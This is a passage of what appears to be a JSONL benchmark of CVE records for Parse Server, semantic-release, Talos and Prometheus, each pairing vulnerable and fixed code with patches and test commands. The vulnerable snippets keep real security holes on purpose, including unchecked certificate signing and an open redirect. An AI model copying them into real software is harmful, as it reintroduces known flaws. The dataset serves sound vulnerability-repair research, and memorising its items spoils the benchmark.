Parse.Query(Parse.Session)\n        .limit(1)\n        .include('user')\n        .equalTo('sessionToken', sessionToken)\n        .find({ useMasterKey: true })\n    ).map(obj => obj.toJSON());\n  }\n\n  if (results.length !== 1 || !results[0]['user']) {\n    throw new Parse.Error(Parse.Error.INVALID_SESSION_TOKEN, 'Invalid session token');\n  }\n  const session = results[0];\n  const now = new Date(),\n    expiresAt = session.expiresAt ? new Date(session.expiresAt.iso) : undefined;\n  if (expiresAt < now) {\n    throw new Parse.Error(Parse.Error.INVALID_SESSION_TOKEN, 'Session token is expired.');\n  }\n  const obj = session.user;\n\n  if (typeof obj['objectId'] === 'string' && obj['objectId'].startsWith('role:')) {\n    throw new Parse.Error(Parse.Error.INTERNAL_SERVER_ERROR, 'Invalid object ID.');\n  }\n\n  delete obj.password;\n  obj['className'] = '_User';\n  obj['sessionToken'] = sessionToken;\n  if (cacheController) {\n    cacheController.user.put(sessionToken, obj);\n  }\n  renewSessionIfNeeded({ config, session, sessionToken });\n  const userObject = Parse.Object.fromJSON(obj);\n  return new Auth({\n    config,\n    cacheController,\n    isMaster: false,\n    installationId,\n    user: userObject,\n  });\n};"}, {"id": "fix_js_115_2", "commit": "13ee52f", "file_path": "src/Routers/ClassesRouter.js", "start_line": 108, "end_line": 124, "snippet": "  handleCreate(req) {\n    if (\n      this.className(req) === '_User' &&\n      typeof req.body?.objectId === 'string' &&\n      req.body.objectId.startsWith('role:')\n    ) {\n      throw new Parse.Error(Parse.Error.OPERATION_FORBIDDEN, 'Invalid object ID.');\n    }\n    return rest.create(\n      req.config,\n      req.auth,\n      this.className(req),\n      req.body,\n      req.info.clientSDK,\n      req.info.context\n    );\n  }"}], "vul_patch": "--- a/src/Auth.js\n+++ b/src/Auth.js\n@@ -59,6 +59,11 @@\n     throw new Parse.Error(Parse.Error.INVALID_SESSION_TOKEN, 'Session token is expired.');\n   }\n   const obj = session.user;\n+\n+  if (typeof obj['objectId'] === 'string' && obj['objectId'].startsWith('role:')) {\n+    throw new Parse.Error(Parse.Error.INTERNAL_SERVER_ERROR, 'Invalid object ID.');\n+  }\n+\n   delete obj.password;\n   obj['className'] = '_User';\n   obj['sessionToken'] = sessionToken;\n\n--- a/src/Routers/ClassesRouter.js\n+++ b/src/Routers/ClassesRouter.js\n@@ -1,4 +1,11 @@\n   handleCreate(req) {\n+    if (\n+      this.className(req) === '_User' &&\n+      typeof req.body?.objectId === 'string' &&\n+      req.body.objectId.startsWith('role:')\n+    ) {\n+      throw new Parse.Error(Parse.Error.OPERATION_FORBIDDEN, 'Invalid object ID.');\n+    }\n     return rest.create(\n       req.config,\n       req.auth,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31051", "cve_description": "semantic-release is an open source npm package for automated version management and package publishing. In affected versions secrets that would normally be masked by semantic-release can be accidentally disclosed if they contain characters that are excluded from uri encoding by `encodeURI`. Occurrence is further limited to execution contexts where push access to the related repository is not available without modifying the repository url to inject credentials. Users are advised to upgrade. Users unable to upgrade should ensure that secrets that do not contain characters that are excluded from encoding with `encodeURI` when included in a URL are already masked properly.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/semantic-release/semantic-release", "patch_url": ["https://github.com/semantic-release/semantic-release/commit/58a226f29c04ee56bbb02cc661f020d568849cad"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_123_1", "commit": "17d60d3", "file_path": "index.js", "start_line": 250, "end_line": 280, "snippet": "module.exports = async (cliOptions = {}, {cwd = process.cwd(), env = process.env, stdout, stderr} = {}) => {\n  const {unhook} = hookStd(\n    {silent: false, streams: [process.stdout, process.stderr, stdout, stderr].filter(Boolean)},\n    hideSensitive(env)\n  );\n  const context = {\n    cwd,\n    env,\n    stdout: stdout || process.stdout,\n    stderr: stderr || process.stderr,\n    envCi: envCi({env, cwd}),\n  };\n  context.logger = getLogger(context);\n  context.logger.log(`Running ${pkg.name} version ${pkg.version}`);\n  try {\n    const {plugins, options} = await getConfig(context, cliOptions);\n    context.options = options;\n    try {\n      const result = await run(context, plugins);\n      unhook();\n      return result;\n    } catch (error) {\n      await callFail(context, plugins, error);\n      throw error;\n    }\n  } catch (error) {\n    await logErrors(context, error);\n    unhook();\n    throw error;\n  }\n};"}], "fix_func": [{"id": "fix_js_123_1", "commit": "58a226f", "file_path": "index.js", "start_line": 250, "end_line": 281, "snippet": "module.exports = async (cliOptions = {}, {cwd = process.cwd(), env = process.env, stdout, stderr} = {}) => {\n  const {unhook} = hookStd(\n    {silent: false, streams: [process.stdout, process.stderr, stdout, stderr].filter(Boolean)},\n    hideSensitive(env)\n  );\n  const context = {\n    cwd,\n    env,\n    stdout: stdout || process.stdout,\n    stderr: stderr || process.stderr,\n    envCi: envCi({env, cwd}),\n  };\n  context.logger = getLogger(context);\n  context.logger.log(`Running ${pkg.name} version ${pkg.version}`);\n  try {\n    const {plugins, options} = await getConfig(context, cliOptions);\n    options.originalRepositoryURL = options.repositoryUrl;\n    context.options = options;\n    try {\n      const result = await run(context, plugins);\n      unhook();\n      return result;\n    } catch (error) {\n      await callFail(context, plugins, error);\n      throw error;\n    }\n  } catch (error) {\n    await logErrors(context, error);\n    unhook();\n    throw error;\n  }\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -14,6 +14,7 @@\n   context.logger.log(`Running ${pkg.name} version ${pkg.version}`);\n   try {\n     const {plugins, options} = await getConfig(context, cliOptions);\n+    options.originalRepositoryURL = options.repositoryUrl;\n     context.options = options;\n     try {\n       const result = await run(context, plugins);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-36103", "cve_description": "Talos Linux is a Linux distribution built for Kubernetes deployments. Talos worker nodes use a join token to get accepted into the Talos cluster. Due to improper validation of the request while signing a worker node CSR (certificate signing request) Talos control plane node might issue Talos API certificate which allows full access to Talos API on a control plane node. Accessing Talos API with full level access on a control plane node might reveal sensitive information which allows full level access to the cluster (Kubernetes and Talos PKI, etc.). Talos API join token is stored in the machine configuration on the worker node. When configured correctly, Kubernetes workloads don't have access to the machine configuration, but due to a misconfiguration workload might access the machine configuration and reveal the join token. This problem has been fixed in Talos 1.2.2. Enabling the Pod Security Standards mitigates the vulnerability by denying hostPath mounts and host networking by default in the baseline policy. Clusters that don't run untrusted workloads are not affected. Clusters with correct Pod Security configurations which don't allow hostPath mounts, and secure access to cloud metadata server (or machine configuration is not supplied via cloud metadata server) are not affected.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/siderolabs/talos", "patch_url": ["https://github.com/siderolabs/talos/commit/9eaf33f3f274e746ca1b442c0a1a0dae0cec088f"], "programing_language": "Go", "vul_func": [{"id": "vul_go_53_2", "commit": "4367491", "file_path": "internal/app/trustd/internal/reg/reg.go", "start_line": 36, "end_line": 55, "snippet": "func (r *Registrator) Certificate(ctx context.Context, in *securityapi.CertificateRequest) (resp *securityapi.CertificateResponse, err error) {\n\tosRoot, err := safe.StateGet[*secrets.OSRoot](ctx, r.Resources, resource.NewMetadata(secrets.NamespaceName, secrets.OSRootType, secrets.OSRootID, resource.VersionUndefined))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// TODO: Verify that the request is coming from the IP addresss declared in\n\t// the CSR.\n\tsigned, err := x509.NewCertificateFromCSRBytes(osRoot.TypedSpec().CA.Crt, osRoot.TypedSpec().CA.Key, in.Csr)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tresp = &securityapi.CertificateResponse{\n\t\tCa:  osRoot.TypedSpec().CA.Crt,\n\t\tCrt: signed.X509CertificatePEM,\n\t}\n\n\treturn resp, nil\n}"}], "fix_func": [{"id": "fix_go_53_1", "commit": "9eaf33f", "file_path": "internal/app/trustd/internal/reg/reg.go", "start_line": 7, "end_line": 25, "snippet": "import (\n\t\"context\"\n\tstdx509 \"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/pem\"\n\t\"log\"\n\n\t\"github.com/cosi-project/runtime/pkg/resource\"\n\t\"github.com/cosi-project/runtime/pkg/safe\"\n\t\"github.com/cosi-project/runtime/pkg/state\"\n\t\"github.com/siderolabs/crypto/x509\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/peer\"\n\t\"google.golang.org/grpc/status\"\n\n\tsecurityapi \"github.com/talos-systems/talos/pkg/machinery/api/security\"\n\t\"github.com/talos-systems/talos/pkg/machinery/resources/secrets\"\n)"}, {"id": "fix_go_53_2", "commit": "9eaf33f", "file_path": "internal/app/trustd/internal/reg/reg.go", "start_line": 46, "end_line": 108, "snippet": "func (r *Registrator) Certificate(ctx context.Context, in *securityapi.CertificateRequest) (resp *securityapi.CertificateResponse, err error) {\n\tremotePeer, ok := peer.FromContext(ctx)\n\tif !ok {\n\t\treturn nil, status.Error(codes.PermissionDenied, \"peer not found\")\n\t}\n\n\tosRoot, err := safe.StateGet[*secrets.OSRoot](ctx, r.Resources, resource.NewMetadata(secrets.NamespaceName, secrets.OSRootType, secrets.OSRootID, resource.VersionUndefined))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// decode and validate CSR\n\tcsrPemBlock, _ := pem.Decode(in.Csr)\n\tif csrPemBlock == nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"failed to decode CSR\")\n\t}\n\n\trequest, err := stdx509.ParseCertificateRequest(csrPemBlock.Bytes)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"failed to parse CSR: %s\", err)\n\t}\n\n\tlog.Printf(\"received CSR signing request from %s: subject %s dns names %s addresses %s\", remotePeer.Addr, request.Subject, request.DNSNames, request.IPAddresses)\n\n\t// allow only server auth certificates\n\tx509Opts := []x509.Option{\n\t\tx509.KeyUsage(stdx509.KeyUsageDigitalSignature),\n\t\tx509.ExtKeyUsage([]stdx509.ExtKeyUsage{stdx509.ExtKeyUsageServerAuth}),\n\t}\n\n\t// don't allow any certificates which can be used for client authentication\n\t//\n\t// we don't return an error here, as otherwise workers running old versions of Talos\n\t// will fail to provision client certificate and will never launch apid\n\t//\n\t// instead, the returned certificate will be rejected when being used\n\tif len(request.Subject.Organization) > 0 {\n\t\tlog.Printf(\"removing client auth organization from CSR: %s\", request.Subject.Organization)\n\n\t\tx509Opts = append(x509Opts, x509.OverrideSubject(func(subject *pkix.Name) {\n\t\t\tsubject.Organization = nil\n\t\t}))\n\t}\n\n\t// TODO: Verify that the request is coming from the IP address declared in\n\t// the CSR.\n\tsigned, err := x509.NewCertificateFromCSRBytes(\n\t\tosRoot.TypedSpec().CA.Crt,\n\t\tosRoot.TypedSpec().CA.Key,\n\t\tin.Csr,\n\t\tx509Opts...,\n\t)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, \"failed to sign CSR: %s\", err)\n\t}\n\n\tresp = &securityapi.CertificateResponse{\n\t\tCa:  osRoot.TypedSpec().CA.Crt,\n\t\tCrt: signed.X509CertificatePEM,\n\t}\n\n\treturn resp, nil\n}"}], "vul_patch": "--- a/internal/app/trustd/internal/reg/reg.go\n+++ b/internal/app/trustd/internal/reg/reg.go\n@@ -1,14 +1,57 @@\n func (r *Registrator) Certificate(ctx context.Context, in *securityapi.CertificateRequest) (resp *securityapi.CertificateResponse, err error) {\n+\tremotePeer, ok := peer.FromContext(ctx)\n+\tif !ok {\n+\t\treturn nil, status.Error(codes.PermissionDenied, \"peer not found\")\n+\t}\n+\n \tosRoot, err := safe.StateGet[*secrets.OSRoot](ctx, r.Resources, resource.NewMetadata(secrets.NamespaceName, secrets.OSRootType, secrets.OSRootID, resource.VersionUndefined))\n \tif err != nil {\n \t\treturn nil, err\n \t}\n \n-\t// TODO: Verify that the request is coming from the IP addresss declared in\n+\t// decode and validate CSR\n+\tcsrPemBlock, _ := pem.Decode(in.Csr)\n+\tif csrPemBlock == nil {\n+\t\treturn nil, status.Errorf(codes.InvalidArgument, \"failed to decode CSR\")\n+\t}\n+\n+\trequest, err := stdx509.ParseCertificateRequest(csrPemBlock.Bytes)\n+\tif err != nil {\n+\t\treturn nil, status.Errorf(codes.InvalidArgument, \"failed to parse CSR: %s\", err)\n+\t}\n+\n+\tlog.Printf(\"received CSR signing request from %s: subject %s dns names %s addresses %s\", remotePeer.Addr, request.Subject, request.DNSNames, request.IPAddresses)\n+\n+\t// allow only server auth certificates\n+\tx509Opts := []x509.Option{\n+\t\tx509.KeyUsage(stdx509.KeyUsageDigitalSignature),\n+\t\tx509.ExtKeyUsage([]stdx509.ExtKeyUsage{stdx509.ExtKeyUsageServerAuth}),\n+\t}\n+\n+\t// don't allow any certificates which can be used for client authentication\n+\t//\n+\t// we don't return an error here, as otherwise workers running old versions of Talos\n+\t// will fail to provision client certificate and will never launch apid\n+\t//\n+\t// instead, the returned certificate will be rejected when being used\n+\tif len(request.Subject.Organization) > 0 {\n+\t\tlog.Printf(\"removing client auth organization from CSR: %s\", request.Subject.Organization)\n+\n+\t\tx509Opts = append(x509Opts, x509.OverrideSubject(func(subject *pkix.Name) {\n+\t\t\tsubject.Organization = nil\n+\t\t}))\n+\t}\n+\n+\t// TODO: Verify that the request is coming from the IP address declared in\n \t// the CSR.\n-\tsigned, err := x509.NewCertificateFromCSRBytes(osRoot.TypedSpec().CA.Crt, osRoot.TypedSpec().CA.Key, in.Csr)\n+\tsigned, err := x509.NewCertificateFromCSRBytes(\n+\t\tosRoot.TypedSpec().CA.Crt,\n+\t\tosRoot.TypedSpec().CA.Key,\n+\t\tin.Csr,\n+\t\tx509Opts...,\n+\t)\n \tif err != nil {\n-\t\treturn\n+\t\treturn nil, status.Errorf(codes.Internal, \"failed to sign CSR: %s\", err)\n \t}\n \n \tresp = &securityapi.CertificateResponse{\n\n--- /dev/null\n+++ b/internal/app/trustd/internal/reg/reg.go\n@@ -0,0 +1,19 @@\n+import (\n+\t\"context\"\n+\tstdx509 \"crypto/x509\"\n+\t\"crypto/x509/pkix\"\n+\t\"encoding/pem\"\n+\t\"log\"\n+\n+\t\"github.com/cosi-project/runtime/pkg/resource\"\n+\t\"github.com/cosi-project/runtime/pkg/safe\"\n+\t\"github.com/cosi-project/runtime/pkg/state\"\n+\t\"github.com/siderolabs/crypto/x509\"\n+\t\"google.golang.org/grpc\"\n+\t\"google.golang.org/grpc/codes\"\n+\t\"google.golang.org/grpc/peer\"\n+\t\"google.golang.org/grpc/status\"\n+\n+\tsecurityapi \"github.com/talos-systems/talos/pkg/machinery/api/security\"\n+\t\"github.com/talos-systems/talos/pkg/machinery/resources/secrets\"\n+)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-36103:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/talos\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestCertificate$ github.com/talos-systems/talos/internal/app/trustd/internal/reg\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-36103:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/talos\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestEmpty)$' github.com/talos-systems/talos/internal/app/trustd/internal/reg\n"}
{"cve_id": "CVE-2021-29622", "cve_description": "Prometheus is an open-source monitoring system and time series database. In 2.23.0, Prometheus changed its default UI to the New ui. To ensure a seamless transition, the URL's prefixed by /new redirect to /. Due to a bug in the code, it is possible for an attacker to craft an URL that can redirect to any other URL, in the /new endpoint. If a user visits a prometheus server with a specially crafted address, they can be redirected to an arbitrary URL. The issue was patched in the 2.26.1 and 2.27.1 releases. In 2.28.0, the /new endpoint will be removed completely. The workaround is to disable access to /new via a reverse proxy in front of Prometheus.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/prometheus/prometheus", "patch_url": ["https://github.com/prometheus/prometheus/commit/db7f0bcec27bd8aeebad6b08ac849516efa9ae02", "https://github.com/prometheus/prometheus/commit/6eeded0fdf760e81af75d9c44ce539ab77da4505"], "programing_language": "Go", "vul_func": [{"id": "vul_go_241_1", "commit": "24c9b61221f7006e87cd62b9fe2901d43e19ed53", "file_path": "web/web.go", "start_line": 256, "end_line": 474, "snippet": "func New(logger log.Logger, o *Options) *Handler {\n\tif logger == nil {\n\t\tlogger = log.NewNopLogger()\n\t}\n\n\tm := newMetrics(o.Registerer)\n\trouter := route.New().\n\t\tWithInstrumentation(m.instrumentHandler).\n\t\tWithInstrumentation(setPathWithPrefix(\"\"))\n\n\tcwd, err := os.Getwd()\n\tif err != nil {\n\t\tcwd = \"<error retrieving current working directory>\"\n\t}\n\n\th := &Handler{\n\t\tlogger: logger,\n\n\t\tgatherer: o.Gatherer,\n\t\tmetrics:  m,\n\n\t\trouter:      router,\n\t\tquitCh:      make(chan struct{}),\n\t\treloadCh:    make(chan chan error),\n\t\toptions:     o,\n\t\tversionInfo: o.Version,\n\t\tbirth:       time.Now().UTC(),\n\t\tcwd:         cwd,\n\t\tflagsMap:    o.Flags,\n\n\t\tcontext:         o.Context,\n\t\tscrapeManager:   o.ScrapeManager,\n\t\truleManager:     o.RuleManager,\n\t\tqueryEngine:     o.QueryEngine,\n\t\tlookbackDelta:   o.LookbackDelta,\n\t\tstorage:         o.Storage,\n\t\tlocalStorage:    o.LocalStorage,\n\t\texemplarStorage: o.ExemplarStorage,\n\t\tnotifier:        o.Notifier,\n\n\t\tnow: model.Now,\n\t}\n\th.ready.Store(0)\n\n\tfactoryTr := func(_ context.Context) api_v1.TargetRetriever { return h.scrapeManager }\n\tfactoryAr := func(_ context.Context) api_v1.AlertmanagerRetriever { return h.notifier }\n\tFactoryRr := func(_ context.Context) api_v1.RulesRetriever { return h.ruleManager }\n\n\tvar app storage.Appendable\n\tif o.RemoteWriteReceiver {\n\t\tapp = h.storage\n\t}\n\n\th.apiV1 = api_v1.NewAPI(h.queryEngine, h.storage, app, h.exemplarStorage, factoryTr, factoryAr,\n\t\tfunc() config.Config {\n\t\t\th.mtx.RLock()\n\t\t\tdefer h.mtx.RUnlock()\n\t\t\treturn *h.config\n\t\t},\n\t\to.Flags,\n\t\tapi_v1.GlobalURLOptions{\n\t\t\tListenAddress: o.ListenAddress,\n\t\t\tHost:          o.ExternalURL.Host,\n\t\t\tScheme:        o.ExternalURL.Scheme,\n\t\t},\n\t\th.testReady,\n\t\th.options.LocalStorage,\n\t\th.options.TSDBDir,\n\t\th.options.EnableAdminAPI,\n\t\tlogger,\n\t\tFactoryRr,\n\t\th.options.RemoteReadSampleLimit,\n\t\th.options.RemoteReadConcurrencyLimit,\n\t\th.options.RemoteReadBytesInFrame,\n\t\th.options.CORSOrigin,\n\t\th.runtimeInfo,\n\t\th.versionInfo,\n\t\to.Gatherer,\n\t\to.Registerer,\n\t)\n\n\tif o.RoutePrefix != \"/\" {\n\t\t// If the prefix is missing for the root path, prepend it.\n\t\trouter.Get(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t\thttp.Redirect(w, r, o.RoutePrefix, http.StatusFound)\n\t\t})\n\t\trouter = router.WithPrefix(o.RoutePrefix)\n\t}\n\n\treadyf := h.testReady\n\n\trouter.Get(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.Redirect(w, r, path.Join(o.ExternalURL.Path, \"/graph\"), http.StatusFound)\n\t})\n\trouter.Get(\"/classic/\", func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.Redirect(w, r, path.Join(o.ExternalURL.Path, \"/classic/graph\"), http.StatusFound)\n\t})\n\n\t// Redirect the original React UI's path (under \"/new\") to its new path at the root.\n\trouter.Get(\"/new/*path\", func(w http.ResponseWriter, r *http.Request) {\n\t\tp := route.Param(r.Context(), \"path\")\n\t\thttp.Redirect(w, r, path.Join(o.ExternalURL.Path, strings.TrimPrefix(p, \"/new\"))+\"?\"+r.URL.RawQuery, http.StatusFound)\n\t})\n\n\trouter.Get(\"/classic/alerts\", readyf(h.alerts))\n\trouter.Get(\"/classic/graph\", readyf(h.graph))\n\trouter.Get(\"/classic/status\", readyf(h.status))\n\trouter.Get(\"/classic/flags\", readyf(h.flags))\n\trouter.Get(\"/classic/config\", readyf(h.serveConfig))\n\trouter.Get(\"/classic/rules\", readyf(h.rules))\n\trouter.Get(\"/classic/targets\", readyf(h.targets))\n\trouter.Get(\"/classic/service-discovery\", readyf(h.serviceDiscovery))\n\trouter.Get(\"/classic/static/*filepath\", func(w http.ResponseWriter, r *http.Request) {\n\t\tr.URL.Path = path.Join(\"/static\", route.Param(r.Context(), \"filepath\"))\n\t\tfs := server.StaticFileServer(ui.Assets)\n\t\tfs.ServeHTTP(w, r)\n\t})\n\t// Make sure that \"<path-prefix>/classic\" is redirected to \"<path-prefix>/classic/\" and\n\t// not just the naked \"/classic/\", which would be the default behavior of the router\n\t// with the \"RedirectTrailingSlash\" option (https://godoc.org/github.com/julienschmidt/httprouter#Router.RedirectTrailingSlash),\n\t// and which breaks users with a --web.route-prefix that deviates from the path derived\n\t// from the external URL.\n\t// See https://github.com/prometheus/prometheus/issues/6163#issuecomment-553855129.\n\trouter.Get(\"/classic\", func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.Redirect(w, r, path.Join(o.ExternalURL.Path, \"classic\")+\"/\", http.StatusFound)\n\t})\n\n\trouter.Get(\"/version\", h.version)\n\trouter.Get(\"/metrics\", promhttp.Handler().ServeHTTP)\n\n\trouter.Get(\"/federate\", readyf(httputil.CompressionHandler{\n\t\tHandler: http.HandlerFunc(h.federation),\n\t}.ServeHTTP))\n\n\trouter.Get(\"/consoles/*filepath\", readyf(h.consoles))\n\n\tserveReactApp := func(w http.ResponseWriter, r *http.Request) {\n\t\tf, err := ui.Assets.Open(\"/static/react/index.html\")\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintf(w, \"Error opening React index.html: %v\", err)\n\t\t\treturn\n\t\t}\n\t\tidx, err := ioutil.ReadAll(f)\n\t\tif err != nil {\n\t\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\t\tfmt.Fprintf(w, \"Error reading React index.html: %v\", err)\n\t\t\treturn\n\t\t}\n\t\treplacedIdx := bytes.ReplaceAll(idx, []byte(\"CONSOLES_LINK_PLACEHOLDER\"), []byte(h.consolesPath()))\n\t\treplacedIdx = bytes.ReplaceAll(replacedIdx, []byte(\"TITLE_PLACEHOLDER\"), []byte(h.options.PageTitle))\n\t\tw.Write(replacedIdx)\n\t}\n\n\t// Serve the React app.\n\tfor _, p := range reactRouterPaths {\n\t\trouter.Get(p, serveReactApp)\n\t}\n\n\t// The favicon and manifest are bundled as part of the React app, but we want to serve\n\t// them on the root.\n\tfor _, p := range []string{\"/favicon.ico\", \"/manifest.json\"} {\n\t\tassetPath := \"/static/react\" + p\n\t\trouter.Get(p, func(w http.ResponseWriter, r *http.Request) {\n\t\t\tr.URL.Path = assetPath\n\t\t\tfs := server.StaticFileServer(ui.Assets)\n\t\t\tfs.ServeHTTP(w, r)\n\t\t})\n\t}\n\n\t// Static files required by the React app.\n\trouter.Get(\"/static/*filepath\", func(w http.ResponseWriter, r *http.Request) {\n\t\tr.URL.Path = path.Join(\"/static/react/static\", route.Param(r.Context(), \"filepath\"))\n\t\tfs := server.StaticFileServer(ui.Assets)\n\t\tfs.ServeHTTP(w, r)\n\t})\n\n\tif o.UserAssetsPath != \"\" {\n\t\trouter.Get(\"/user/*filepath\", route.FileServe(o.UserAssetsPath))\n\t}\n\n\tif o.EnableLifecycle {\n\t\trouter.Post(\"/-/quit\", h.quit)\n\t\trouter.Put(\"/-/quit\", h.quit)\n\t\trouter.Post(\"/-/reload\", h.reload)\n\t\trouter.Put(\"/-/reload\", h.reload)\n\t} else {\n\t\tforbiddenAPINotEnabled := func(w http.ResponseWriter, _ *http.Request) {\n\t\t\tw.WriteHeader(http.StatusForbidden)\n\t\t\tw.Write([]byte(\"Lifecycle API is not enabled.\"))\n\t\t}\n\t\trouter.Post(\"/-/quit\", forbiddenAPINotEnabled)\n\t\trouter.Put(\"/-/quit\", forbiddenAPINotEnabled)\n\t\trouter.Post(\"/-/reload\", forbiddenAPINotEnabled)\n\t\trouter.Put(\"/-/reload\", forbiddenAPINotEnabled)\n\t}\n\trouter.Get(\"/-/quit\", func(w http.ResponseWriter, _ *http.Request) {\n\t\tw.WriteHeader(http.StatusMethodNotAllowed)\n\t\tw.Write([]byte(\"Only POST or PUT requests allowed\"))\n\t})\n\trouter.Get(\"/-/reload\", func(w http.ResponseWriter, _ *http.Request) {\n\t\tw.WriteHeader(http.StatusMethodNotAllowed)\n\t\tw.Write([]byte(\"Only POST or PUT requests allowed\"))\n\t})\n\n\trouter.Get(\"/debug/*subpath\", serveDebug)\n\trouter.Post(\"/debug/*subpath\", serveDebug)\n\n\trouter.Get(\"/-/healthy\", func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t\tfmt.Fprintf(w, \"Prometheus is Healthy.\\n\")\n\t})\n\trouter.Get(\"/-/ready\", readyf(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusOK)\n\t\tfmt.Fprintf(w, \"Prometheus is Ready.\\n\")\n\t}))\n\n\treturn h\n}"}], "fix_func": [{"id": "fix_go_241_1", "commit": "db7f0bcec27bd8aeebad6b08ac849516efa9ae02", "file_path": "web/web.go", "start_line": 256, "end_line": 474, "snippet": "func New(logger log.Logger, o *Options) *Handler {\n\tif logger == nil {\n\t\tlogger = log.NewNopLogger()\n\t}\n\n\tm := newMetrics(o.Registerer)\n\trouter := route.New().\n\t\tWithInstrumentation(m.instrumentHandler).\n\t\tWithInstrumentation(setPathWithPrefix(\"\"))\n\n\tcwd, err := os.Getwd()\n\tif err != nil {\n\t\tcwd = \"<error retrieving current working directory>\"\n\t}\n\n\th := &Handler{\n\t\tlogger: logger,\n\n\t\tgatherer: o.Gatherer,\n\t\tmetrics:  m,\n\n\t\trouter:      router,\n\t\tquitCh:      make(chan struct{}),\n\t\treloadCh:    make(chan chan error),\n\t\toptions:     o,\n\t\tversionInfo: o.Version,\n\t\tbirth:       time.Now().UTC(),\n\t\tcwd:         cwd,\n\t\tflagsMap:    o.Flags,\n\n\t\tcontext:         o.Context,\n\t\tscrapeManager:   o.ScrapeManager,\n\t\truleManager:     o.RuleManager,\n\t\tqueryEngine:     o.QueryEngine,\n\t\tlookbackDelta:   o.LookbackDelta,\n\t\tstorage:         o.Storage,\n\t\tlocalStorage:    o.LocalStorage,\n\t\texemplarStorage: o.ExemplarStorage,\n\t\tnotifier:        o.Notifier,\n\n\t\tnow: model.Now,\n\t}\n\th.ready.Store(0)\n\n\tfactoryTr := func(_ context.Context) api_v1.TargetRetriever { return h.scrapeManager }\n\tfactoryAr := func(_ context.Context) api_v1.AlertmanagerRetriever { return h.notifier }\n\tFactoryRr := func(_ context.Context) api_v1.RulesRetriever { return h.ruleManager }\n\n\tvar app storage.Appendable\n\tif o.RemoteWriteReceiver {\n\t\tapp = h.storage\n\t}\n\n\th.apiV1 = api_v1.NewAPI(h.queryEngine, h.storage, app, h.exemplarStorage, factoryTr, factoryAr,\n\t\tfunc() config.Config {\n\t\t\th.mtx.RLock()\n\t\t\tdefer h.mtx.RUnlock()\n\t\t\treturn *h.config\n\t\t},\n\t\to.Flags,\n\t\tapi_v1.GlobalURLOptions{\n\t\t\tListenAddress: o.ListenAddress,\n\t\t\tHost:          o.ExternalURL.Host,\n\t\t\tScheme:        o.ExternalURL.Scheme,\n\t\t},\n\t\th.testReady,\n\t\th.options.LocalStorage,\n\t\th.options.TSDBDir,\n\t\th.options.EnableAdminAPI,\n\t\tlogger,\n\t\tFactoryRr,\n\t\th.options.RemoteReadSampleLimit,\n\t\th.options.RemoteReadConcurrencyLimit,\n\t\th.options.RemoteReadBytesInFrame,\n\t\th.options.CORSOrigin,\n\t\th.runtimeInfo,\n\t\th.versionInfo,\n\t\to.Gatherer,\n\t\to.Registerer,\n\t)\n\n\tif o.RoutePrefix != \"/\" {\n\t\t// If the prefix is missing for the root path, prepend it.\n\t\trouter.Get(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\t\thttp.Redirect(w, r, o.RoutePrefix, http.StatusFound)\n\t\t})\n\t\trouter = router.WithPrefix(o.RoutePrefix)\n\t}\n\n\treadyf := h.testReady\n\n\trouter.Get(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.Redirect(w, r, path.Join(o.ExternalURL.Path, \"/graph\"), http.StatusFound)\n\t})\n\trouter.Get(\"/classic/\", func(w http.ResponseWriter, r *http.Request) {\n\t\thttp.Redirect(w, r, path.Join(o.ExternalURL.Path, \"/classic/graph\"), http.StatusFound)\n\t})\n\n\t// Redirect the original React UI's path (under \"/new\") to its new path at the root.\n\trouter.Get(\"/new/*path\", func(w http.ResponseWriter, r *http.Request) {\n\t\tp := route.Param(r.Context(), \"path\")\n\t\thttp.Redirect(w, r, path.Join(o.ExternalURL.Path, p)+\"?\"+r.URL.RawQuery, http.StatusFound)\n\t})\n\n\trouter.Get(\"/classic/alerts\", readyf(h.alerts))\n\trouter.Get(\"/classic/graph\", readyf(h.graph))\n\trouter.Get(\"/classic/status\", readyf(h.status))\n\trouter.Get(\"/classic/flags\", readyf(h.flags))\n\trouter.Get(\"/classic/config\", 